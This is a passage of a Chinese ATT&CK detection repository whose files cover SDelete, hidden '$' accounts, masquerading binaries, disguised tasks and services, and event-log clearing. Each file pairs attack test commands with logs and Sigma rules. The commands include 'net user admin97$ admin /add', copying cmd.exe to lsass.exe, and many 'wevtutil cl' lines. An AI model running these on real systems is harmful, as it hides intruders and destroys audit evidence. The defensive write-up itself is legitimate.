**成功案例**(假设目标文件存在): ```cmd C:\Users\12306Br0\Desktop\SDelete>sdelete64.exe -s test.txt SDelete v2.02 - Secure file delete Copyright (C) 1999-2018 Mark Russinovich Sysinternals - www.sysinternals.com SDelete is set for 1 pass. C:\Users\12306Br0\Desktop\SDelete\test.txt: 1 pass ``` ## 测试留痕 ### Windows安全日志(Event ID 4663:对象访问) ```xml Event-ID: 4663 试图访问对象。 对象: 安全 ID: SYSTEM 帐户名: 12306BR0-PC$ 帐户域: WORKGROUP 登录 ID: 0x3e7 对象: 对象服务器: Security 对象类型: File 对象名: C:\Users\12306Br0\Desktop\SDelete\test.txt 句柄 ID: 0x4e8 进程信息: 进程 ID: 0x128 进程名: C:\Users\12306Br0\Desktop\SDelete\sdelete64.exe 访问请求信息: 访问: DELETE 访问掩码: 0x10000 ``` **分析**: - 日志记录了`sdelete64.exe`尝试删除`test.txt`的操作,访问类型为`DELETE`。 - SDelete可能在删除前重命名文件为特定扩展名(如`.AAA`或`.ZZZ`),这些行为可用于检测。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 使用SDelete安全删除 description: Detects file renaming behavior associated with SDelete secure file deletion. status: experimental author: 12306Br0 date: 2020/06/09 references: - https://jpcertcc.github.io/ToolAnalysisResultSheet - https://www.jpcert.or.jp/english/pub/sr/ir_research.html - https://technet.microsoft.com/en-us/en-en/sysinternals/sdelete.aspx tags: - attack.defense_evasion - attack.t1027.005 logsource: product: windows service: security detection: selection: EventID: - 4656 # 句柄请求 - 4663 # 对象访问 - 4658 # 句柄关闭 ObjectName|endswith: - '.AAA' - '.ZZZ' condition: selection fields: - ObjectName - ProcessName - User falsepositives: - Legitimate use of SDelete by administrators level: low ``` **规则说明**: - 检测SDelete删除文件时可能的重命名行为(如将文件重命名为`.AAA`或`.ZZZ`扩展名)。 - 规则为实验性,测试效果有限,需谨慎使用并结合环境验证。 ### 建议 1. **监控SDelete执行**: - 使用Sysmon(Event ID 1)捕获`sdelete.exe`或`sdelete64.exe`的进程创建事件,检查命令行参数。 - 关注非管理员用户或非预期环境(如普通工作站)运行SDelete的行为。 2. **检测文件操作**: - 监控文件重命名或删除事件(Sysmon Event ID 11,安全日志Event ID 4663),尤其涉及`.AAA`或`.ZZZ`扩展名的文件。 - 检查用户目录(如`%APPDATA%`、`%TEMP%`)中的异常文件删除操作。 3. **启用对象访问审核**: - 配置Windows安全策略,启用文件系统对象访问审核,捕获Event ID 4656、4663、4658。 - 确保审核策略覆盖关键目录(如日志存储路径)。 4. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析Sysmon和安全日志,检测SDelete相关活动。 - 设置告警规则,针对非预期SDelete执行或异常文件重命名行为。 5. **限制SDelete使用**: - 使用AppLocker或组策略限制`sdelete.exe`的执行,仅允许在特定管理场景下运行。 - 监控未经授权的Sysinternals工具下载或使用。 6. **测试与验证**: - 在测试环境中模拟SDelete删除文件,验证检测规则的有效性。 - 调整规则阈值,减少合法管理员操作的误报。 ## 参考推荐 - MITRE ATT&CK T1027.005 - MITRE ATT&CK T1066 (已弃用) - SDelete官方文档 - JPCERT工具分析结果 - JPCERT研究报告 ================================================ FILE: Windows/07逃避防御/T1036-win-隐藏用户账户带$符号.md ================================================ # T1036-Win-隐藏用户账户带$符号 ## 描述 攻击者可能通过伪装技术操纵可执行文件或用户账户的名称,以规避防御和检测机制。MITRE ATT&CK框架中的T1036(伪装)描述了攻击者如何通过以下方式隐藏恶意活动: - **重命名合法工具**:攻击者可能复制并重命名系统工具(如`rundll32.exe`)到受信任路径(如`C:\Windows\System32`),并使用常见进程名(如`explorer.exe`或`svchost.exe`)以规避基于文件名或路径的检测。 - **Right-to-Left Override (RTLO)**:利用Unicode字符(U+202E)反转文件名显示,欺骗用户和安全工具。例如,文件`March 25 \u202Excod.scr`显示为`March 25 rcs.docx`。 - **修改元数据**:更改二进制文件的图标、产品名称或描述等PE头信息,使其看似合法。 - **隐藏用户账户**:在Windows中,攻击者可能创建带有`$`符号的用户账户(如`admin97$`),使其在`net user`命令查询中隐藏,降低被发现的概率。 在Linux系统中,攻击者可能在进程运行后修改其名称或路径,伪装为合法进程(如`/bin`目录下的`rsyncd`或`dbus-inotifier`)。 本案例聚焦于Windows环境中通过创建带`$`符号的隐藏用户账户(T1036)来规避检测的行为。 ## 测试案例 ### 测试1:创建带$符号的隐藏用户账户 攻击者使用`net user`命令创建带`$`符号的用户账户,试图使其在常规用户查询(如`net user`)中不可见,从而隐藏其存在。 **攻击命令**(需以管理员权限在命令提示符中运行): ```cmd net user admin97$ admin /add ``` **说明**: - 创建用户名为`admin97$`的用户,密码为`admin`。 - 带`$`的用户账户在`net user`查询中可能不可见,但实际存在于系统中。 **清理命令**: ```cmd net user admin97$ /delete ``` ## 检测日志 - **Windows安全日志**:通过Event ID 4720(用户账户创建)或Event ID 4781(用户账户重命名)记录用户账户操作(需启用账户管理审核)。 - **Sysmon日志**:通过Event ID 1(进程创建)捕获`net.exe`的执行信息。 ## 测试复现 ### 测试1:创建带$符号的隐藏用户账户 在Windows 10环境中复现: ```cmd C:\Windows\system32>net user admin97$ admin /add 命令成功完成。 C:\Windows\system32>net user \\12306BR0-PC 的用户帐户 ------------------------------------------------------------------------------- 12306Br0 admin.098 admin.123 Administrator Guest 命令成功完成。 ``` **结果**: - 成功创建用户`admin97$`。 - 在`net user`查询中,`admin97$`未显示,表明隐藏效果生效。 - 实际账户存在,可通过其他工具(如`lusrmgr.msc`或注册表)确认。 **待补充**: - 修改用户账户的测试场景(如重命名或更改属性)未提供,需进一步验证。 ## 测试留痕 ### Windows安全日志(Event ID 4720:用户账户创建) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 4720 任务类别: User Account Management 级别: 信息 用户: SYSTEM 计算机: 12306BR0-PC 描述: 已创建用户帐户。 主题: 安全 ID: 12306Br0-PC\12306Br0 帐户名: 12306Br0 帐户域: 12306Br0-PC 登录 ID: 0x53e6a 新帐户: 安全 ID: 12306Br0-PC\admin97$ 帐户名: admin97$ 帐户域: 12306Br0-PC 属性: SAM 帐户名: admin97$ 显示名称: <未设置值> 用户主体名称: - 主目录: <未设置值> 主驱动器: <未设置值> 脚本路径: <未设置值> 配置文件路径: <未设置值> 用户工作站: <未设置值> 上次设置的密码: <从不> 帐户过期: <从不> 主要组 ID: 513 允许委托给: - 旧 UAC 值: 0x0 新 UAC 值: 0x15 用户帐户控制: 已禁用的帐户 '不要求密码' - 已启用 '普通帐户' - 已启用 用户参数: <未设置值> SID 历史: - 登录时间(以小时计): 全部 附加信息: 特权: - ``` **分析**: - 日志记录了用户`admin97$`的创建,`SAM 帐户名`包含`$`符号。 - 主题用户为`12306Br0`,表明由管理员账户执行。 - 账户属性显示为普通账户,但未启用(需手动激活)。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 在属性'SamAccountName'中使用'$'的新用户帐户或重命名用户帐户 description: Detects creation or renaming of user accounts with '$' in SamAccountName, indicating potential EDR/SIEM bypass. status: experimental author: 12306Br0 date: 2020/06/09 tags: - attack.defense_evasion - attack.t1036 logsource: product: windows service: security detection: selection: EventID: - 4720 # 用户账户创建 - 4781 # 用户账户重命名 SamAccountName|contains: '$' condition: selection fields: - EventID - SamAccountName - SubjectAccountName falsepositives: - Legitimate administrative accounts with '$' (e.g., machine accounts) level: high ``` **规则说明**: - 检测创建(Event ID 4720)或重命名(Event ID 4781)用户账户时,`SamAccountName`包含`$`符号的行为。 - 规则为实验性,需测试以减少合法机器账户(如`COMPUTERNAME$`)的误报。 ### 建议 1. **监控用户账户操作**: - 使用Sysmon(Event ID 1)捕获`net.exe`执行`net user`命令的行为,检查是否创建带`$`的用户。 - 监控Windows安全日志的账户管理事件(Event ID 4720、4722、4725、4781),关注`SamAccountName`中的`$`符号。 2. **验证账户合法性**: - 定期检查用户账户列表(`net user`、`lusrmgr.msc`或注册表`HKEY_LOCAL_MACHINE\SAM`),识别异常的带`$`账户。 - 对比账户创建时间和预期管理员操作,排除合法机器账户。 3. **启用详细日志**: - 配置Windows安全策略,启用账户管理审核(`Audit Account Management`)。 - 部署Sysmon,记录进程创建(Event ID 1)和用户账户操作。 4. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析安全日志,检测带`$`的用户账户创建或修改。 - 设置告警规则,针对非预期用户或系统创建的带`$`账户。 5. **限制账户创建**: - 使用组策略限制非管理员用户运行`net user /add`命令。 - 监控高权限账户(如`Administrator`)的异常操作。 6. **检测RTLO和元数据伪装**: - 检查账户名称是否包含RTLO字符(U+202E),可能通过脚本扫描注册表或日志。 - 验证账户的元数据(如描述、创建时间)是否与预期一致。 7. **测试与验证**: - 在测试环境中模拟创建带`$`的隐藏用户账户,验证检测规则有效性。 - 调整规则阈值,排除合法机器账户的误报。 ## 参考推荐 - MITRE ATT&CK T1036 - Atomic Red Team T1036 ================================================ FILE: Windows/07逃避防御/T1036.003-Win-重命名程序名称.md ================================================ # T1036.003-Win-重命名程序名称 ## 描述 攻击者可能通过重命名合法系统实用程序来规避基于这些工具的安全监控机制。许多安全策略(如应用白名单或基于文件名的检测)针对系统实用程序(如`rundll32.exe`、`powershell.exe`)设置了特定规则。攻击者通过复制并重命名这些工具(如将`cmd.exe`重命名为`lsass.exe`),或将其放置在非标准路径中,绕过基于文件名或路径的检测。 伪装技术的常见方法包括: - **将合法工具复制到受信任目录**:如`C:\Windows\System32`,并伪装为`explorer.exe`或`svchost.exe`等常见进程名。 - **Right-to-Left Override (RTLO)**:利用Unicode字符(如U+202E)反转文件名显示,误导管理员(如`exe.tsehcvs`显示为`svchost.exe`)。 - **修改二进制元数据**:更改图标、产品描述等PE头信息,使文件看似合法。 - **移动并重命名**:将工具移到非标准路径(如`%APPDATA%`)并重命名,规避路径检测。 在Linux系统中,攻击者可能在程序运行后修改其名称或路径(如伪装为`/bin`目录下的`rsyncd`或`dbus-inotifier`),以类似方式规避检测。 ## 测试案例 以下测试案例展示了在Windows和Linux环境中通过重命名系统工具实现伪装的行为。 ### 测试1:伪装为Windows LSASS进程 复制`cmd.exe`并重命名为`lsass.exe`,伪装为合法的LSASS进程。 **攻击命令**: ```cmd cmd.exe /c copy %SystemRoot%\System32\cmd.exe %SystemRoot%\Temp\lsass.exe cmd.exe /c %SystemRoot%\Temp\lsass.exe ``` **清理命令**: ```cmd del /Q /F %SystemRoot%\Temp\lsass.exe ``` ### 测试2:伪装为Linux CROND进程 复制`/bin/sh`并重命名为`crond`,伪装为Linux计划任务进程。 **攻击命令**: ```bash cp /bin/sh /tmp/crond /tmp/crond ``` ### 测试3:伪装为Windows Notepad进程 复制`cscript.exe`并重命名为`notepad.exe`。 **攻击命令**: ```cmd copy %SystemRoot%\System32\cscript.exe %APPDATA%\notepad.exe /Y cmd.exe /c %APPDATA%\notepad.exe /B ``` **清理命令**: ```cmd del /Q /F %APPDATA%\notepad.exe ``` ### 测试4:伪装为Windows Svchost进程 复制`wscript.exe`并重命名为`svchost.exe`。 **攻击命令**: ```cmd copy %SystemRoot%\System32\wscript.exe %APPDATA%\svchost.exe /Y cmd.exe /c %APPDATA%\svchost.exe /B ``` **清理命令**: ```cmd del /Q /F %APPDATA%\svchost.exe ``` ### 测试5:伪装为Windows Taskhostw进程 复制`powershell.exe`并重命名为`taskhostw.exe`。 **攻击命令**: ```cmd copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\taskhostw.exe /Y cmd.exe /K %APPDATA%\taskhostw.exe ``` **清理命令**: ```cmd del /Q /F %APPDATA%\taskhostw.exe ``` ### 测试6:非Windows可执行文件伪装为Windows可执行文件 复制任意可执行文件并重命名为Windows系统文件。 **攻击命令**: ```powershell copy #{inputfile} #{outputfile} $myT1036 = (Start-Process -PassThru -FilePath #{outputfile}).Id Stop-Process -ID $myT1036 ``` ### 测试7:Windows可执行文件伪装为其他Windows可执行文件 复制系统工具并重命名为其他合法工具名称。 **攻击命令**: ```powershell copy #{inputfile} #{outputfile} $myT1036 = (Start-Process -PassThru -FilePath #{outputfile}).Id Stop-Process -ID $myT1036 ``` ### 测试8:恶意进程伪装为LSM.EXE 复制`cmd.exe`并重命名为`lsm.exe`,并执行恶意操作。 **攻击命令**: ```cmd copy C:\Windows\System32\cmd.exe D:\lsm.exe D:\lsm.exe /c echo T1036 > D:\T1036.txt ``` **清理命令**: ```cmd del /Q /F D:\lsm.exe del /Q /F D:\T1036.txt ``` **复现结果**: - 所有测试在Windows 10环境中成功复现。 - Linux测试(测试2)在适当环境中成功执行。 ## 检测日志 - **Windows安全日志**:通过Event ID 4688(进程创建)记录伪装进程的执行(需启用进程跟踪审核)。 - **Sysmon日志**:通过Event ID 1(进程创建)捕获详细的命令行参数、文件路径和父进程信息。 ## 测试留痕 ### Sysmon日志(Event ID 1:进程创建) 以下为测试1(伪装为LSASS)的示例日志: ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2023/10/01 10:00:00 事件 ID: 1 任务类别: Process Create (rule: ProcessCreate) 级别: 信息 用户: SYSTEM 计算机: hostname.qax.com 描述: Process Create: RuleName: technique_id=T1036.003,technique_name=Masquerading UtcTime: 2023-10-01 02:00:00.123 ProcessGuid: {12345678-1234-5678-1234-567890123456} ProcessId: 1234 Image: C:\Windows\Temp\lsass.exe FileVersion: 10.0.19041.1 Description: Windows Command Processor Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: cmd.exe CommandLine: C:\Windows\Temp\lsass.exe CurrentDirectory: C:\Windows\system32 User: QAX\Administrator LogonGuid: {12345678-1234-5678-1234-567890123457} LogonId: 0x123456 TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA1=...,MD5=...,SHA256=... ParentProcessGuid: {12345678-1234-5678-1234-567890123458} ParentProcessId: 5678 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: cmd.exe /c copy C:\Windows\System32\cmd.exe C:\Windows\Temp\lsass.exe ParentUser: QAX\Administrator ``` **分析**: - 日志显示`lsass.exe`实际为`cmd.exe`(通过`OriginalFileName`和`Description`字段确认)。 - 非标准路径(`C:\Windows\Temp`)和父进程(`cmd.exe`)表明伪装行为。 ## 检测规则/思路 ### Sigma规则 ```yaml title: Suspicious Masquerading of System Utilities description: Detects execution of renamed system utilities in non-standard paths, indicating potential masquerading behavior. status: experimental tags: - attack.defense_evasion - attack.t1036.003 logsource: category: process_creation product: windows detection: selection: EventID: 1 Image|endswith: - '\lsass.exe' - '\svchost.exe' - '\notepad.exe' - '\taskhostw.exe' - '\lsm.exe' Image|contains: - '\Temp\' - '\AppData\' - '\Users\' OriginalFileName|endswith: - 'cmd.exe' - 'powershell.exe' - 'wscript.exe' - 'cscript.exe' condition: selection fields: - Image - OriginalFileName - CommandLine - ParentImage - User falsepositives: - Legitimate administrative scripts copying utilities for maintenance level: high ``` **规则说明**: - 检测在非标准路径(如`%APPDATA%`、`%TEMP%`)运行的伪装进程,且`OriginalFileName`与常见系统工具(如`cmd.exe`、`powershell.exe`)不匹配。 - 规则为实验性,需测试以减少合法管理操作的误报。 ### 建议 1. **监控非标准路径的系统工具**: - 使用Sysmon(Event ID 1)捕获运行在`%APPDATA%`、`%TEMP%`等路径的伪装进程(如`lsass.exe`、`svchost.exe`)。 - 检查`OriginalFileName`和`Description`字段,验证文件是否与预期元数据匹配。 2. **检测RTLO字符**: - 监控文件名中包含Unicode字符U+202E(RTLO)的行为,可能通过脚本扫描文件系统或日志。 - 检查异常文件名模式(如`exe.tsehcvs`)。 3. **关注命令行参数**: - 分析伪装进程的命令行参数,检测与合法工具预期行为不符的操作。 - 例如,`svchost.exe`不应由`cmd.exe`直接启动。 4. **启用详细日志**: - 配置Sysmon记录进程创建(Event ID 1)和文件操作(Event ID 11)。 - 启用Windows安全日志的进程跟踪(Event ID 4688),确保记录命令行参数。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析Sysmon和安全日志,检测伪装行为。 - 设置告警规则,针对非标准路径的系统工具或异常父进程关系。 6. **限制工具执行**: - 使用AppLocker或组策略限制系统工具(如`cmd.exe`、`powershell.exe`)在非标准路径执行。 - 监控非管理员用户运行重命名工具的行为。 7. **验证PE元数据**: - 检查二进制文件的PE头信息(如`InternalName`、`OriginalFilename`、`ProductName`),与磁盘文件名对比,识别重命名行为。 - 使用工具(如Process Explorer)分析进程的真实身份。 8. **测试与验证**: - 在测试环境中模拟重命名攻击,验证检测规则有效性。 - 调整规则阈值,排除合法管理脚本的误报。 ## 参考推荐 - MITRE ATT&CK T1036.003 - 跟着ATT&CK学安全之defense-evasion - Atomic Red Team T1036.003 ================================================ FILE: Windows/07逃避防御/T1036.004-Win-伪装服务或任务.md ================================================ # T1036.004-Win-伪装服务或任务 ## 描述 攻击者可能通过修改任务或服务的名称,使其看起来像合法或良性的系统组件,以规避检测。Windows中的任务调度程序(`schtasks`)或服务管理工具(`sc`)创建的任务和服务通常具有名称和描述字段。攻击者可能利用与合法任务或服务(如`W32Time`)相似或相同的名称来伪装恶意活动。此外,任务或服务的描述字段也可能被修改以增强伪装效果,从而降低被安全工具或管理员发现的概率。 这种伪装技术允许攻击者通过看似正常的系统行为执行恶意代码,绕过基于名称或模式的检测机制。 ## 测试案例 以下测试案例展示了通过伪装任务或服务名称(如`win32times`,与合法的`W32Time`相似)来隐藏恶意行为的攻击技术。 ### 测试1:使用schtasks创建类似W32Time的计划任务 **攻击命令**(需以管理员权限在命令提示符中运行): ```cmd schtasks /create /ru system /sc daily /tr "cmd /c powershell.exe -ep bypass -file c:\T1036.004_NonExistingScript.ps1" /tn win32times /f schtasks /query /tn win32times ``` **清理命令**: ```cmd schtasks /delete /tn win32times /f ``` **说明**: - 创建名为`win32times`的计划任务,伪装为合法的`W32Time`服务。 - 使用`/tr`参数指定运行PowerShell脚本,`-ep bypass`绕过执行策略。 - `/f`强制覆盖已有任务。 ### 测试2:使用sc创建类似W32Time的服务 **攻击命令**(需以管理员权限在命令提示符中运行): ```cmd sc create win32times binPath= "cmd /c start c:\T1036.004_NonExistingScript.ps1" sc qc win32times ``` **清理命令**: ```cmd sc delete win32times ``` **说明**: - 创建名为`win32times`的服务,伪装为`W32Time`。 - `binPath`指定运行PowerShell脚本的命令。 - `sc qc`查询服务配置以确认创建。 ## 检测日志 - **Windows安全日志**:通过Event ID 4688(进程创建)记录`schtasks.exe`或`sc.exe`的执行(需启用进程跟踪审核)。 - **Sysmon日志**:通过Event ID 1(进程创建)捕获详细的命令行参数和父进程信息。 ## 测试复现 ### 测试1:使用schtasks创建类似W32Time的计划任务 在Windows Server 2019环境中复现: ```cmd C:\Windows\system32>schtasks /create /ru system /sc daily /tr "cmd /c powershell.exe -ep bypass -file C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1036.004\test.ps1" /tn win32times /f 成功: 成功创建计划任务 "win32times"。 C:\Windows\system32>schtasks /query /tn win32times 文件夹: \ 任务名 下次运行时间 模式 ======================================== ====================== =============== win32times 2022/1/11 16:39:00 就绪 C:\Windows\system32>schtasks /delete /tn win32times /f 成功: 计划的任务 "win32times" 被成功删除。 ``` **结果**: - 成功创建并查询了名为`win32times`的计划任务。 - 任务伪装为`W32Time`,运行PowerShell脚本。 ### 测试2:使用sc创建类似W32Time的服务 ```cmd C:\Windows\system32>sc create win32times binPath= "cmd /c start C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1036.004\test.ps1" [SC] CreateService 成功 C:\Windows\system32>sc qc win32times [SC] QueryServiceConfig 成功 SERVICE_NAME: win32times TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : cmd /c start C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1036.004\test.ps1 LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : win32times DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Windows\system32>sc delete win32times [SC] DeleteService 成功 ``` **结果**: - 成功创建并查询了名为`win32times`的服务。 - 服务伪装为`W32Time`,运行指定脚本。 ## 日志留痕 ### 测试1:schtasks创建计划任务(Sysmon Event ID 1) ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2022/1/10 16:39:19 事件 ID: 1 任务类别: Process Create (rule: ProcessCreate) 级别: 信息 用户: SYSTEM 计算机: zhuli.qax.com 描述: Process Create: RuleName: technique_id=T1059,technique_name=Command-Line Interface UtcTime: 2022-01-10 08:39:19.782 ProcessGuid: {78c84c47-f0b7-61db-6e0f-000000000800} ProcessId: 4712 Image: C:\Windows\System32\schtasks.exe FileVersion: 10.0.17763.1 (WinBuild.160101.0800) Description: Task Scheduler Configuration Tool Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: schtasks.exe CommandLine: schtasks /create /ru system /sc daily /tr "cmd /c powershell.exe -ep bypass -file C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1036.004\test.ps1" /tn win32times /f CurrentDirectory: C:\Windows\system32\ User: QAX\Administrator LogonGuid: {78c84c47-efde-61db-1754-2f0100000000} LogonId: 0x12F5417 TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA1=112C8FFA1C0934ACAAD2C58B3C7E81F3FB8E4A2C,MD5=3F9FD6D3B3E96B8F576DB72035DB38A7,SHA256=D6BA2CD73799477C051D9D864C47FCF5108064CDE07D3565871AFA10FC548086,IMPHASH=7EE4BC5589713B3470B8A950256E2E69 ParentProcessGuid: {78c84c47-efea-61db-450f-000000000800} ParentProcessId: 4768 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\system32\cmd.exe" ParentUser: QAX\Administrator ``` **分析**: - 日志记录了`schtasks.exe`创建名为`win32times`的计划任务。 - 命令行包含可疑参数(如`powershell.exe -ep bypass`),表明潜在恶意行为。 ### 测试2:sc创建服务(Sysmon Event ID 1) ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2022/1/10 08:43:44 事件 ID: 1 任务类别: Process Create (rule: ProcessCreate) 级别: 信息 用户: SYSTEM 计算机: zhuli.qax.com 描述: Process Create: RuleName: technique_id=T1059,technique_name=Command-Line Interface UtcTime: 2022-01-10 08:43:44.670 ProcessGuid: {78c84c47-f1c0-61db-910f-000000000800} ProcessId: 7112 Image: C:\Windows\System32\sc.exe FileVersion: 10.0.17763.1 (WinBuild.160101.0800) Description: Service Control Manager Configuration Tool Product: Microsoft® Operating System Company: Microsoft Corporation OriginalFileName: sc.exe CommandLine: sc create win32times binPath= "cmd /c start C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1036.004\test.ps1" CurrentDirectory: C:\Windows\system32\ User: QAX\Administrator LogonGuid: {78c84c47-efde-61db-1754-2f0100000000} LogonId: 0x12F5417 TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA1=622FA2729408E5F467A592223219DA7C547E7CC7,MD5=ABB56882148DE65D53ABFC55544A49A8,SHA256=78097C7CD0E57902536C60B7FA17528C313DB20869E5F944223A0BA4C801D39B,IMPHASH=35A7FFDE18D444A92D32C8B2879450FF ParentProcessGuid: {78c84c47-efea-61db-450f-000000000800} ParentProcessId: 4768 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\system32\cmd.exe" ParentUser: QAX\Administrator ``` **分析**: - 日志记录了`sc.exe`创建名为`win32times`的服务。 - `binPath`指向PowerShell脚本,表明伪装服务可能执行恶意代码。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 利用schtasks或sc伪装计划任务或服务 description: Detects creation of tasks or services with suspicious names mimicking legitimate ones, such as W32Time. status: experimental date: 2023/10/01 references: - https://attack.mitre.org/techniques/T1036/004/ tags: - attack.defense_evasion - attack.t1036.004 logsource: product: windows service: sysmon detection: selection_schtasks: EventID: 1 Image|endswith: '\schtasks.exe' CommandLine|contains: - '/create' - '/tn' - '/tr' CommandLine|contains: 'win32times' selection_sc: EventID: 1 Image|endswith: '\sc.exe' CommandLine|contains: - 'create' - 'binPath=' CommandLine|contains: 'win32times' condition: selection_schtasks or selection_sc fields: - Image - CommandLine - User falsepositives: - Legitimate administrative tasks or services mimicking similar names level: medium ``` **规则说明**: - 检测`schtasks.exe`或`sc.exe`创建名为`win32times`的计划任务或服务,伪装为合法`W32Time`。 - 检查命令行参数是否包含`/create`、`/tn`、`/tr`(任务)或`create`、`binPath=`(服务)。 - 规则为实验性,需测试以减少合法管理操作的误报。 ### 建议 1. **监控任务和服务创建**: - 使用Sysmon(Event ID 1)捕获`schtasks.exe`和`sc.exe`的执行,检查任务或服务名称是否与合法组件(如`W32Time`)相似。 - 关注命令行中的可疑参数,如`powershell.exe -ep bypass`或非标准脚本路径。 2. **检测异常任务和服务**: - 定期扫描计划任务(`schtasks /query`)和服务列表(`sc query`),识别与已知合法名称不符的条目。 - 检查任务或服务的`binPath`或触发命令是否指向用户目录(如`%APPDATA%`、`%TEMP%`)。 3. **启用详细日志**: - 配置Sysmon记录进程创建(Event ID 1)和服务变更事件。 - 启用Windows安全日志的进程跟踪(Event ID 4688)和系统事件(Event ID 7045,服务安装)。 4. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析Sysmon和安全日志,检测伪装任务或服务的创建。 - 设置告警规则,针对非预期用户或系统创建的类似`W32Time`的任务或服务。 5. **限制任务和服务创建**: - 使用组策略限制非管理员用户运行`schtasks`或`sc`命令。 - 部署AppLocker,限制`powershell.exe`在非标准场景下的执行。 6. **关联行为分析**: - 将任务/服务创建与后续行为(如网络连接、异常进程执行)关联,识别行为链。 - 例如,检测新创建任务是否触发了异常的网络活动(如C2通信)。 7. **测试与验证**: - 在测试环境中模拟伪装任务/服务,验证检测规则有效性。 - 调整规则阈值,排除合法管理操作的误报。 ## 参考推荐 - MITRE ATT&CK T1036.004 - Schtasks命令详解 - Atomic Red Team T1036.004 ================================================ FILE: Windows/07逃避防御/T1070-001-win-使用wevtutil命令删除日志.md ================================================ # T1070-001-Win-使用wevtutil命令删除日志 ## 来自ATT&CK的描述 攻击者可能试图阻止由监测软件或进程捕获到的告警,以及事件日志被收集和分析。这可能包括修改配置文件或注册表项中的监测软件的设置,以达到逃避追踪的目的。 在基于特征监测的情况下,攻击者可以阻止监测特征相关的数据被发送出去,以便于阻止安全人员进行分析。这可以有很多方式实现,例如停止负责转发的进程(splunk转发器、Filebate、rsyslog等)。 在正常的操作期间内,事件日志不太可能会被刻意清除。但是恶意攻击者可能会通过清除事件日志来尝试掩盖自己的踪迹。当事件日志被清除时,它是可疑的。发现“清除事件日志”时可能意味着有恶意攻击者利用了此项技术。 集中收集事件日志的一个好处就是使攻击者更难以掩盖他们的踪迹,事件转发允许将收集到的系统事件日志发送给多个收集器(splunk、elk等),从而实现冗余事件收集。使用冗余事件收集,可以最大限度的帮助我们发现威胁。 ## 测试案例 ```yml wevtutil.exe cl "ACEEventLog" wevtutil.exe cl "Application" wevtutil.exe cl "HardwareEvents" wevtutil.exe cl "Internet Explorer" wevtutil.exe cl "Key Management Service" wevtutil.exe cl "Media Center" wevtutil.exe cl "Microsoft-Windows-API-Tracing/Operational" wevtutil.exe cl "Microsoft-Windows-AppID/Operational" wevtutil.exe cl "Microsoft-Windows-Application-Experience/Problem-Steps-Recorder" wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant" wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Troubleshooter" wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Inventory" wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Telemetry" wevtutil.exe cl "Microsoft-Windows-AppLocker/EXE and DLL" wevtutil.exe cl "Microsoft-Windows-AppLocker/MSI and Script" wevtutil.exe cl "Microsoft-Windows-Audio/CaptureMonitor" wevtutil.exe cl "Microsoft-Windows-Audio/Operational" wevtutil.exe cl "Microsoft-Windows-Authentication User Interface/Operational" wevtutil.exe cl "Microsoft-Windows-Backup" wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Admin" wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Operational" wevtutil.exe cl "Microsoft-Windows-Bits-Client/Operational" wevtutil.exe cl "Microsoft-Windows-Bluetooth-MTPEnum/Operational" wevtutil.exe cl "Microsoft-Windows-BranchCache/Operational" wevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Operational" wevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Operational" wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Client/Operational" wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Server/Operational" wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Operational" wevtutil.exe cl "Microsoft-Windows-DeviceSync/Operational" wevtutil.exe cl "Microsoft-Windows-Dhcp-Client/Admin" wevtutil.exe cl "Microsoft-Windows-DhcpNap/Admin" wevtutil.exe cl "Microsoft-Windows-Dhcpv6-Client/Admin" wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Operational" wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Operational" wevtutil.exe cl "Microsoft-Windows-Diagnosis-PLA/Operational" wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scheduled/Operational" wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Admin" wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Operational" wevtutil.exe cl "Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Operational" wevtutil.exe cl 